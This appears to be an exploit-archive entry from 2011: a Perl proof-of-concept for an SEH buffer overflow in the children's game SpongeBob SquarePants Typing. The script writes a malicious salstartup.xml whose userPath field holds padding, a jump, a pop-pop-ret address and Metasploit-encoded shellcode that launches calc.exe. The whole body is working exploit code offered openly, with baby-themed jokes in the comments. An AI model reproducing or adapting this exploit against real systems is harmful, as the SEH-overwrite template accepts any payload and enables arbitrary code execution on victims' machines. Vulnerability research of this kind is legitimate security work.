SpongeBob SquarePants Typing Buffer Overflow (SEH)
| EKU-ID: 270 | CVE: | OSVDB-ID: |
| Author: Infant Overflow | Published: 2011-05-19 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 270 | CVE: | OSVDB-ID: |
| Author: Infant Overflow | Published: 2011-05-19 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
# SEH overwrite exploit for SpongeBob SquarePants Typing
# from The Learning Company (http://goo.gl/1EHaD)
# Date: May 4th 2011
# Author: Infant Overflow
#
# .-.
# ) (
# - -
# |_____|
# / \
# | ~~~ |
# | ~~~~~ |
# | ~~~~~ |
# | ~~~~~ |
# \_______/
#
# Fresh out the womb laying the smack down on SpongeBob
# I like my sploits like I like my milk... fresh
#
# Shoutz to Pops, Elmo, my girl Dora, Handy M, and Thomas the Mother f'n Train
#
# Tested on WinXP SP3
my $diaper = "A" x 1024; # Everyone needs some padding
my $jumprope = "\xeb\x06\x90\x90"; # jump 6
my $pacifier = pack('V',0x2110234D); # pop pop ret from mss32.dll <-- no /SAFESEH sucks like my pacifier!
# windows/exec - 247 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=process, CMD=c:\windows\system32\calc.exe
my $shellcode =
"\xd9\xf6\xba\x24\xb5\x20\x67\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x38\x31\x57\x17\x03\x57\x17\x83\xcb\x49\xc2\x92\xef" .
"\x5a\x8a\x5d\x0f\x9b\xed\xd4\xea\xaa\x3f\x82\x7f\x9e\x8f" .
"\xc0\x2d\x13\x7b\x84\xc5\xa0\x09\x01\xea\x01\xa7\x77\xc5" .
"\x92\x09\xb8\x89\x51\x0b\x44\xd3\x85\xeb\x75\x1c\xd8\xea" .
"\xb2\x40\x13\xbe\x6b\x0f\x86\x2f\x1f\x4d\x1b\x51\xcf\xda" .
"\x23\x29\x6a\x1c\xd7\x83\x75\x4c\x48\x9f\x3e\x74\xe2\xc7" .
"\x9e\x85\x27\x14\xe2\xcc\x4c\xef\x90\xcf\x84\x21\x58\xfe" .
"\xe8\xee\x67\xcf\xe4\xef\xa0\xf7\x16\x9a\xda\x04\xaa\x9d" .
"\x18\x77\x70\x2b\xbd\xdf\xf3\x8b\x65\xde\xd0\x4a\xed\xec" .
"\x9d\x19\xa9\xf0\x20\xcd\xc1\x0c\xa8\xf0\x05\x85\xea\xd6" .
"\x81\xce\xa9\x77\x93\xaa\x1c\x87\xc3\x12\xc0\x2d\x8f\xb0" .
"\x15\x57\xd2\xde\xe8\xd5\x68\xa7\xeb\xe5\x72\x87\x83\xd4" .
"\xf9\x48\xd3\xe8\x2b\x2d\x2b\xa3\x76\x07\xa4\x6a\xe3\x1a" .
"\xa9\x8c\xd9\x58\xd4\x0e\xe8\x20\x23\x0e\x99\x25\x6f\x88" .
"\x71\x57\xe0\x7d\x76\xc4\x01\x54\x15\xd0\xa1\x20\xb3\x4a" .
"\x3e\xa0\x34\xe1\xe2\x4d\xc2\x76\x6f\xd7\x59\x4b\xbd\x4b" .
"\xc1\xca\xad\x10\x2b\x69\x56\xb2\x33";
my $rattle ='<?xml version="1.0" standalone="yes"?>
<startup>
<userPath>"';
my $playpen = '"</userPath>
<cdName>"SpongeBob SquarePants Typing"</cdName>
<cdAge>7-10</cdAge>
<music>1000</music>
<pdfInstaller>"E:\INSTALL\ACROBAT\Ver50\Acrobat Reader 5 Installer.exe"</pdfInstaller>
<signin>
<execute>yes</execute>
<style>tlc</style>
<age>4To6</age>
<rscFile>default</rscFile>
</signin>
<disk1>
<filename>E:\TLC\383167-CD</filename>
<cdName>"SpongeBob SquarePants Typing"</cdName>
</disk1>
<screenRSC>salstartup.rsc</screenRSC>
<screen>
<element>
<condition>all</condition>
<type>scene</type>
<id>9100</id>
</element>
<element>
<condition>all</condition>
<type>toon</type>
<x>0</x>
<y>0</y>
<id>9100</id>
<startFrame>1</startFrame>
</element>
<mainPlayButton>
<condition>all</condition>
<type>fob</type>
<class>play</class>
<cdCheck>disk1</cdCheck>
<target>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\SPT.exe"</target>
<postLaunch>wait</postLaunch>
<x>461</x>
<y>60</y>
<id>9124</id>
</mainPlayButton>
<helpButton>
<condition>all</condition>
<type>fob</type>
<class>extension</class>
<cdCheck></cdCheck>
<target>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\User's Guide.pdf"</target>
<parameters></parameters>
<postLaunch>wait</postLaunch>
<x>543</x>
<y>158</y>
<id>9126</id>
</helpButton>
<uninstallButton>
<condition>all</condition>
<type>fob</type>
<class>uninstall</class>
<target>C:\WINDOWS\TLCUninstall.exe</target>
<parameters>-l</parameters>
<crc>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\Uninstall.xml"</crc>
<postLaunch>exit</postLaunch>
<x>514</x>
<y>373</y>
<id>9125</id>
</uninstallButton>
<onlineButton>
<condition>all</condition>
<type>fob</type>
<class>link</class>
<cdCheck></cdCheck>
<target>http://redirect.expressit.com/redirect.asp?resku=383167&action_id=Launcher</target>
<parameters></parameters>
<postLaunch>wait</postLaunch>
<x>538</x>
<y>263</y>
<yy>375</yy>
<id>9130</id>
</onlineButton>
<EregButton>
<condition>all</condition>
<type>fob</type>
<class>install</class>
<cdCheck></cdCheck>
<target>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\ereg\ereg32.exe"</target>
<parameters></parameters>
<postLaunch>wait</postLaunch>
<x>522</x>
<y>324</y>
<id>9129</id>
</EregButton>
<SellScreen>
<condition>all</condition>
<type>fob</type>
<class>link</class>
<cdCheck>disk1</cdCheck>
<target>startup:startup/BrandingPage</target>
<parameters></parameters>
<postLaunch>wait</postLaunch>
<x>543</x>
<y>207</y>
<id>9128</id>
</SellScreen>
</screen>
<BrandingPage>
<element>
<condition>all</condition>
<type>toon</type>
<id>5000</id>
</element>
<screenSaverButton>
<condition>all</condition>
<type>fob</type>
<class>install</class>
<cdCheck>disk1</cdCheck>
<target>E:\SailorificStuff\sbscreen_setup.exe</target>
<parameters></parameters>
<postLaunch>wait</postLaunch>
<x>546</x>
<y>188</y>
<id>5054</id>
</screenSaverButton>
<backButton>
<condition>all</condition>
<type>fob</type>
<class>link</class>
<target>startup:startup/screen</target>
<x>537</x>
<y>263</y>
<id>5055</id>
</backButton>
</BrandingPage>
<sysReq>
<execute>yes</execute>
<pc>
<processor>
<family>pentium</family>
<speed>266</speed>
<msgType>warn</msgType>
<msgText>"266 MHz Pentium or faster is recommended."</msgText>
</processor>
<os>
<Win95>no</Win95>
<Win98>yes</Win98>
<WinMe>yes</WinMe>
<WinNT4>no</WinNT4>
<Win2000>yes</Win2000>
<WinXP>yes</WinXP>
<msgType>warn</msgType>
<msgText>"You operating system is not supported. Play at your own risk!"</msgText>
</os>
<diskSpace>
<mbAvailable>100</mbAvailable>
<msgType>ignore</msgType>
<msgText>"There is not enough hard disk space available to play!"</msgText>
</diskSpace>
<physicalRAM>
<mbAvailable>64</mbAvailable>
<msgType>warn</msgType>
<msgText>"There is not enough RAM available to play!"</msgText>
</physicalRAM>
<availableRAM>
<mbAvailable>64</mbAvailable>
<msgType>warn</msgType>
<msgText>You are low on memory!</msgText>
</availableRAM>
<display>
<width>800</width>
<height>600</height>
<bits>16</bits>
<msgType>fail</msgType>
<msgText>"Your display is not capable of 800 x 600 16-bit, thousands of colors."</msgText>
</display>
<sound>
<msgType>fail</msgType>
<msgText>"WAVE driver is not available."</msgText>
</sound>
</pc>
<mac>
<processor>
<family>ppc</family>
<speed>233</speed>
<msgType>warn</msgType>
<msgText>"233 MHz Powerpc or faster is recommended."</msgText>
</processor>
<os>
<minVersion>0860</minVersion>
<msgType>fail</msgType>
<msgText>"You must run System 8.6 or above!"</msgText>
</os>
<osX>
<minVersion>1004</minVersion>
<msgType>fail</msgType>
<msgText>"You must run OSX 10.04 or above!"</msgText>
</osX>
<diskSpace>
<mbAvailable>100</mbAvailable>
<msgType>ignore</msgType>
<msgText>"There is not enough hard disk space available to play!"</msgText>
</diskSpace>
<physicalRAM>
<mbAvailable>64</mbAvailable>
<msgType>warn</msgType>
<msgText>"There is not enough RAM available to play!"</msgText>
</physicalRAM>
<availableRAM>
<mbAvailable>0</mbAvailable>
<msgType>warn</msgType>
<msgText></msgText>
</availableRAM>
<colorDepth>
<minBits>16</minBits>
<msgType>warn</msgType>
<msgText>"Your display is not capable of 16-bit, thousands of colors."</msgText>
</colorDepth>
<sound>
<available>ignore</available>
<msgType>ignore</msgType>
<msgText></msgText>
</sound>
</mac>
</sysReq>
</startup>';
my $slide = "\x90" x 1000;
open(myfile,'>salstartup.xml');
print myfile $rattle.$diaper.$jumprope.$pacifier.$shellcode.$slide.$playpen;